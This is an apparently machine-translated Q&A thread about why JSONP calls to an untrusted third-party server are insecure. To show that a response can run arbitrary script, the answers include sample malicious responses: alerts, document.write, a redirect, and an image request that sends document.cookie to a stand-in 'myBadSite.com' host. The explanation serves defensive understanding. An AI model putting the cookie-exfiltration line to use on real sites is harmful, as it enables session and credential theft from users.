我试图说服一个团队,使用jQuery JSONP调用一个不受信任的第三方可能是不安全的。 正在使用标准的jQuery代码:
$.ajax({
url:unsecureserver+"?json_callback=?",
dataType:'jsonp'
success:function(data) {
// doing processing here
}
});
我需要什么样的不安全要返回的数据可能导致问题的一些帮助; 例如,显示警告信息。 如JSON语句,如:
{ "success": true } alert('hi');
任何建议我应该使之与jQuery工作代替上面?
JSON包括使用脚本标记和响应应该包括它的json_callback参数命名的功能的JavaScript文件。 这意味着,任何代码都可以运行。 通过以下调用:
$.ajax({
url:unsecureserver+"?json_callback=callback",
dataType:'jsonp'
success:function(data) {
// doing processing here
}
});
其可含有不安全码的响应:
document.write('evil content');
alert('hi');
callback({ "success": true });
需要什么样的不安全数据的一些帮助恢复,可能导致问题
我将与此开始:
之间不存在差异jsonp
工作方式和<Script src='whatever'> </script>
现在,用你的想象力是什么陷阱。
基本上第三方应返回类似myCallback({"data":"1"});
但他也可以发送类似:
createElement('Img');
Img.src='http://myBadSite.com/ImgHandler'+document.cookie // that's where httponly is entering
JSONP与方法调用填补数据。 但
内容类型是application/javascript;
!!!!! 这意味着 - 他可以跑,他希望什么都...
看看这个例子: http://jsbin.com/IMaKUQId/3/edit
编辑:
他可以给你这也:
myCallback(function (){get the sh** from this browser }());
PS。如果你要说服他关于这一点,他可能有很多东西需要学习。
JSONP不是从所谓的$.ajax
调用,但它包含在像这样的页面:
<script src="http://external-server.example.com/getNames?callback=foo"></script>
包括<script>
标记指向外部域基本上是充分信任该域返回将在您的域的上下文中执行任意脚本代码,给外部资源完全访问您的DOM。 该脚本可以做它喜欢和访问任何非仅限HTTP cookie的值或者它可以将用户重定向了。
下降这个代码测试外部服务器:
document.location.href = 'http://www.google.com/';
并通过脚本标签和用户的访问会从您的网站被引导走。